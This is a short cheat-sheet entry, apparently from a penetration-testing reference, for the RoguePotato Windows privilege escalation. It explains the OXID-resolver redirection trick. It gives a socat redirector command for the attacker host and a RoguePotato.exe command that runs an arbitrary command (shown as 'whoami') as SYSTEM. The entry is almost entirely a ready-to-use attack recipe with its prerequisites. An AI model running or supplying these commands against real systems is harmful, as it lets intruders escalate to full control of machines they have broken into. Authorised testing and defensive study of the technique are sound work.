RoguePotato

RoguePotato bypasses the JuicyPotato mitigation by redirecting the DCOM/RPC OXID resolution to a remote resolver the attacker controls on port 135, which forces a SYSTEM authentication that RoguePotato impersonates. Because outbound 135 to the internet is usually blocked and the target queries the resolver on 135, run a socat redirector on the attacker host that forwards 135 to the RoguePotato listener port (-l) on the target. Works on Windows 10 / Server 2016-2019. Requires SeImpersonatePrivilege. Command Reference: Attacker/Listener IP: 10.10.10.2 Target IP: 10.10.10.1 OXID resolver / listen port: 9999

# On the attacker (Linux): redirect inbound 135 back to the RoguePotato listener on the target
socat tcp-listen:135,reuseaddr,fork tcp:10.10.10.1:9999

# On the target (Windows): -r remote OXID resolver, -e command, -l listener port
RoguePotato.exe -r 10.10.10.2 -e "C:\Windows\System32\cmd.exe /c whoami" -l 9999

Native

PrivEsc, Exploitation

Requires

Shell

Services

DCOM, RPC

Refs

github.com/antonioCoco/RoguePotato

book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer